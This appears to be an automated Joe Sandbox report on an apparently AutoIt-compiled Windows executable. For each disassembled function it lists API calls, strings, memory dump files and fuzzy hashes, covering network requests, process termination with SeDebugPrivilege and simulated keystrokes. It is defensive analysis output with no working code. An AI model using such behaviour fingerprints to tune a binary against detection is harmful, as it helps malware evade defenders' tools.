Part of subcall function 009129C8: GetLastError.KERNEL32(00000000,?,0091D7D1,00000000,00000000,00000000,00000000,?,0091D7F8,00000000,00000007,00000000,?,0091DBF5,00000000,00000000), ref: 009129F0

_free.LIBCMT ref: 00912CA0
_free.LIBCMT ref: 00912CAB
_free.LIBCMT ref: 00912CB6
_free.LIBCMT ref: 00912CC1
_free.LIBCMT ref: 00912CCC
_free.LIBCMT ref: 00912CD7
_free.LIBCMT ref: 00912CE2
_free.LIBCMT ref: 00912CED
_free.LIBCMT ref: 00912CFB

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: dbed2ebc7feefa0674dfb88b01fc67230a2d54f0d8f15f242b58849ffaf1d26c
Instruction ID: e14753dac2e16fa8455a3e11404f128b18a19feb055b27da55dcb0e7ef416de1
Opcode Fuzzy Hash: dbed2ebc7feefa0674dfb88b01fc67230a2d54f0d8f15f242b58849ffaf1d26c
Instruction Fuzzy Hash: 5611667660010CAFCB02FF58D942DDD3BA9FF45360F5145A5FA585F222D631EAA09B90

Function 00957DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00957FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00957FC1
GetFileAttributesW.KERNEL32(?), ref: 00957FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00958005
SetCurrentDirectoryW.KERNEL32(?), ref: 00958017
SetCurrentDirectoryW.KERNEL32(?), ref: 00958060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 009580B0

Strings

*.*, xrefs: 00958066

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: 188ca1a4e6222ab2660e17d44b6f8ad28c3dcfa2a02d789bc88ecf807692ca2f
Instruction ID: e3fd8b3d53bcd208d009c212489cd07463d19cc7ba447c093632459f92bf3a8b
Opcode Fuzzy Hash: 188ca1a4e6222ab2660e17d44b6f8ad28c3dcfa2a02d789bc88ecf807692ca2f
Instruction Fuzzy Hash: E28190725083419BCB20DF56D845AAAF3E8BB85311F144C5EFC85D7260EB34DE4D8B52

Function 008E5BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 008E5C7A

Part of subcall function 008E5D0A: GetClientRect.USER32(?,?), ref: 008E5D30
Part of subcall function 008E5D0A: GetWindowRect.USER32(?,?), ref: 008E5D71
Part of subcall function 008E5D0A: ScreenToClient.USER32(?,?), ref: 008E5D99

GetDC.USER32 ref: 009246F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00924708
SelectObject.GDI32(00000000,00000000), ref: 00924716
SelectObject.GDI32(00000000,00000000), ref: 0092472B
ReleaseDC.USER32(?,00000000), ref: 00924733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 009247C4

Strings

U, xrefs: 00924693

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: f51f909c8f09330df5a2cac293bb091420e497a11219332a66263f038d0f67a8
Instruction ID: f459a7a427666343664f9d688d80406d02b1a59f98d127a5e1753c2340b8962d
Opcode Fuzzy Hash: f51f909c8f09330df5a2cac293bb091420e497a11219332a66263f038d0f67a8
Instruction Fuzzy Hash: C6710431500249DFCF21CF64E984AFA3BB9FF4A324F244269ED659A1AAC7319C81DF50

Function 0095359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 009535E4

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

LoadStringW.USER32(009B2390,?,00000FFF,?), ref: 0095360A

Strings

"%s" (%d) : ==> %s:, xrefs: 00953742
Error: , xrefs: 009536EF
^ ERROR, xrefs: 009536C9
Line %d (File "%s"):, xrefs: 0095366B
"%s" (%d) : ==> %s:%s%s, xrefs: 00953724

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: 5424bc0512224cbf092181943a84a555d158176a3820301ef36e3e92869a2ef3
Instruction ID: d9dd0f9dc69d9fe614366c1bad60d1bb7750b34158ba56aa9acb4e9c4654fadc
Opcode Fuzzy Hash: 5424bc0512224cbf092181943a84a555d158176a3820301ef36e3e92869a2ef3
Instruction Fuzzy Hash: 4E519C72C00249BADF15EBA5DC42EEEBB78FF45340F544125F505B21A1EB302B98DBA1

Function 00978B02 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 008F9BB2

Part of subcall function 008F912D: GetCursorPos.USER32(?), ref: 008F9141
Part of subcall function 008F912D: ScreenToClient.USER32(00000000,?), ref: 008F915E
Part of subcall function 008F912D: GetAsyncKeyState.USER32(00000001), ref: 008F9183
Part of subcall function 008F912D: GetAsyncKeyState.USER32(00000002), ref: 008F919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 00978B6B
ImageList_EndDrag.COMCTL32 ref: 00978B71
ReleaseCapture.USER32 ref: 00978B77
SetWindowTextW.USER32(?,00000000), ref: 00978C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00978C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 00978CFF

Strings

@GUI_DROPID, xrefs: 00978C51
@GUI_DRAGFILE, xrefs: 00978C9A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: eb5ee395793c1b050bcc292e8b8fe453e79795d4d058907cf86b1f43f89cc882
Instruction ID: 9b0dd0c89f3144072b54b7bc8b2dd3a4101f5b514a9cdac7266a5d655bb4be35
Opcode Fuzzy Hash: eb5ee395793c1b050bcc292e8b8fe453e79795d4d058907cf86b1f43f89cc882
Instruction Fuzzy Hash: 7A51AF72108344AFD704EF24DD9AFAA77E4FB88714F40062DF996972E1DB709944CB62

Function 0095C253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0095C272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0095C29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0095C2CA
GetLastError.KERNEL32 ref: 0095C322
SetEvent.KERNEL32(?), ref: 0095C336
InternetCloseHandle.WININET(00000000), ref: 0095C341

Strings

, xrefs: 0095C2BB

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 9929ec955dc7c1e2f09ae58503a9ea287d9d8cffafa044ba1b857317ae903174
Instruction ID: 4293d18563b53860700ae48e82032d2879504f4939a338aae23fe367051d770d
Opcode Fuzzy Hash: 9929ec955dc7c1e2f09ae58503a9ea287d9d8cffafa044ba1b857317ae903174
Instruction Fuzzy Hash: 9B316DF2504308AFD721DF668C89AAB7AFCEB49745F10851DF84A92211DB34DD489B60

Function 0094989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00923AAF,?,?,Bad directive syntax error,0097CC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 009498BC
LoadStringW.USER32(00000000,?,00923AAF,?), ref: 009498C3

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00949987

Strings

Error: , xrefs: 00949955
Line %d:, xrefs: 00949912
., xrefs: 0094996D
Line %d (File "%s"):, xrefs: 0094992D
%s (%d) : ==> %s.: %s %s, xrefs: 009498F1

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 4514b9d7480fd7e4d098d2ad3156248d9bdce2998d832eaa33fb50fb4cc70e04
Instruction ID: 59195ba2c020c15fb384158f5693e5e2e07427437e3bef362e34760ef28e4804
Opcode Fuzzy Hash: 4514b9d7480fd7e4d098d2ad3156248d9bdce2998d832eaa33fb50fb4cc70e04
Instruction Fuzzy Hash: DE21A332C0025EBBCF15AF94CC0AEEE7779FF19304F044829F515A60A2EB719A58DB61

Function 0094209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 009420AB
GetClassNameW.USER32(00000000,?,00000100), ref: 009420C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 0094214D

Strings

largeicons, xrefs: 009420E1
SHELLDLL_DefView, xrefs: 009420CC
details, xrefs: 009420FB
list, xrefs: 0094212F
smallicons, xrefs: 00942115

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 55807f161e4b3857dc066d775dbc16299325eefd711ea96f732f51d5329c603d
Instruction ID: 98fbf9e1045b1022db972303336458c94e90937eaa2e856b8f3de4a620b66834
Opcode Fuzzy Hash: 55807f161e4b3857dc066d775dbc16299325eefd711ea96f732f51d5329c603d
Instruction Fuzzy Hash: F8110AB678C707B9F6152324DC06DE6379CEB4A729B61001AF704A50D1EA6558415664

Function 00918D45 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff57f9292d9589a09b6de3dd47579e3cbfc6070f7d1f81eb07d5346bbf07e83f
Instruction ID: 17826d97d57f9a2a409723b572868fd289e4cfc2c62325ecba2a569268ee59c6
Opcode Fuzzy Hash: ff57f9292d9589a09b6de3dd47579e3cbfc6070f7d1f81eb07d5346bbf07e83f
Instruction Fuzzy Hash: BFC1E274F0424DAFDB21EFA8D851BEEBBB4AF4D310F184199E415A7392C7349982DB60

Function 0091CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0091CEB7
_free.LIBCMT ref: 0091CF22
_free.LIBCMT ref: 0091CF48
_free.LIBCMT ref: 0091CF71
_free.LIBCMT ref: 0091CFA9
_free.LIBCMT ref: 0091CFDA
_free.LIBCMT ref: 0091D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 0091D09C
_free.LIBCMT ref: 0091D0B5

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: d2ed3dcf4f366248398513a9011a7578291eb49917ecf0d368f111f3636affb3
Instruction ID: b10a61167c78928759c3c90e78c1cb754dd7cdf11b36f0edd9d2007a50960797
Opcode Fuzzy Hash: d2ed3dcf4f366248398513a9011a7578291eb49917ecf0d368f111f3636affb3
Instruction Fuzzy Hash: D86138B1B4430CAFDB21AFB49941BEA7BA9AF85320F04416DF941973C1D6319D82D750

Function 008F8B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00936890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 009368A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 009368B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 009368D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 009368F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,008F8874,00000000,00000000,00000000,000000FF,00000000), ref: 00936901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0093691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,008F8874,00000000,00000000,00000000,000000FF,00000000), ref: 0093692D

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: acf5736da2389594d6a98434d75a13cbc9c01d584da1c3086251c159a4f02d93
Instruction ID: 9c4f5e64df5b05725436444845131057af769675a71874d03199d90dee5110ef
Opcode Fuzzy Hash: acf5736da2389594d6a98434d75a13cbc9c01d584da1c3086251c159a4f02d93
Instruction Fuzzy Hash: 195168B1610209EFDB24CF25CC95BAA7BB5FB48760F104518FA56D72A0DB70E990DB50

Function 0095C143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0095C182
GetLastError.KERNEL32 ref: 0095C195
SetEvent.KERNEL32(?), ref: 0095C1A9

Part of subcall function 0095C253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0095C272
Part of subcall function 0095C253: GetLastError.KERNEL32 ref: 0095C322
Part of subcall function 0095C253: SetEvent.KERNEL32(?), ref: 0095C336
Part of subcall function 0095C253: InternetCloseHandle.WININET(00000000), ref: 0095C341

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: de5afff2535be22c7f04d54f49e5b7ab2d85e799f7249f99999d63d4f51533ab
Instruction ID: 0f2b23a9740c96e01cc2da8f24400dd22d5ccdb5deb80c8f0175f09d98898de9
Opcode Fuzzy Hash: de5afff2535be22c7f04d54f49e5b7ab2d85e799f7249f99999d63d4f51533ab
Instruction Fuzzy Hash: EF317CB1204701AFDB21DFA6DC44A66BBEDFF58312F00441DF96A86611DB34E858ABA0

Function 009425A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00943A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00943A57
Part of subcall function 00943A3D: GetCurrentThreadId.KERNEL32 ref: 00943A5E
Part of subcall function 00943A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,009425B3), ref: 00943A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 009425BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 009425DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 009425DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 009425E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00942601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00942605
MapVirtualKeyW.USER32(00000025,00000000), ref: 0094260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00942623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00942627

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 196ca80be61a40e5dd44d392181488dc3ffe1051ed91522f7186d1e21b374f92
Instruction ID: 4d9cdf693725b0f06d960dfcc256a99f7ea70c7d4a47327737e4355466648742
Opcode Fuzzy Hash: 196ca80be61a40e5dd44d392181488dc3ffe1051ed91522f7186d1e21b374f92
Instruction Fuzzy Hash: EE01D871398210BBFB1067689C8AF593F59DF8EB11F500015F318AE0D1C9E11484DA69

Function 00941803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00941449,?,?,00000000), ref: 0094180C
HeapAlloc.KERNEL32(00000000,?,00941449,?,?,00000000), ref: 00941813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00941449,?,?,00000000), ref: 00941828
GetCurrentProcess.KERNEL32(?,00000000,?,00941449,?,?,00000000), ref: 00941830
DuplicateHandle.KERNEL32(00000000,?,00941449,?,?,00000000), ref: 00941833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00941449,?,?,00000000), ref: 00941843
GetCurrentProcess.KERNEL32(00941449,00000000,?,00941449,?,?,00000000), ref: 0094184B
DuplicateHandle.KERNEL32(00000000,?,00941449,?,?,00000000), ref: 0094184E
CreateThread.KERNEL32(00000000,00000000,00941874,00000000,00000000,00000000), ref: 00941868

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 8b23c1626e3ac3ff65fb641cc930949ccc970fef8e0d13e68a1e402309523a18
Instruction ID: c5b06ff83c779dde5d6ff82a00e3354852451d86fd312557916b897b510eca49
Opcode Fuzzy Hash: 8b23c1626e3ac3ff65fb641cc930949ccc970fef8e0d13e68a1e402309523a18
Instruction Fuzzy Hash: E501BFB6254304FFE710AB65DC4DF573B6CEB89B11F404425FA05DB191CA709840DB20

Function 0096A0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 0094D4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 0094D501
Part of subcall function 0094D4DC: Process32FirstW.KERNEL32(00000000,?), ref: 0094D50F
Part of subcall function 0094D4DC: CloseHandle.KERNELBASE(00000000), ref: 0094D5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0096A16D
GetLastError.KERNEL32 ref: 0096A180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0096A1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 0096A268
GetLastError.KERNEL32(00000000), ref: 0096A273
CloseHandle.KERNEL32(00000000), ref: 0096A2C4

Strings

SeDebugPrivilege, xrefs: 0096A18F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 450b8276e2582d2e6779189b27026ac4ccecfec7a4ba9d42f5d70f3335e50812
Instruction ID: ee0a297b16cbb9a84607fe3d43ee97921810ef675fdc45366d329401e4758ded
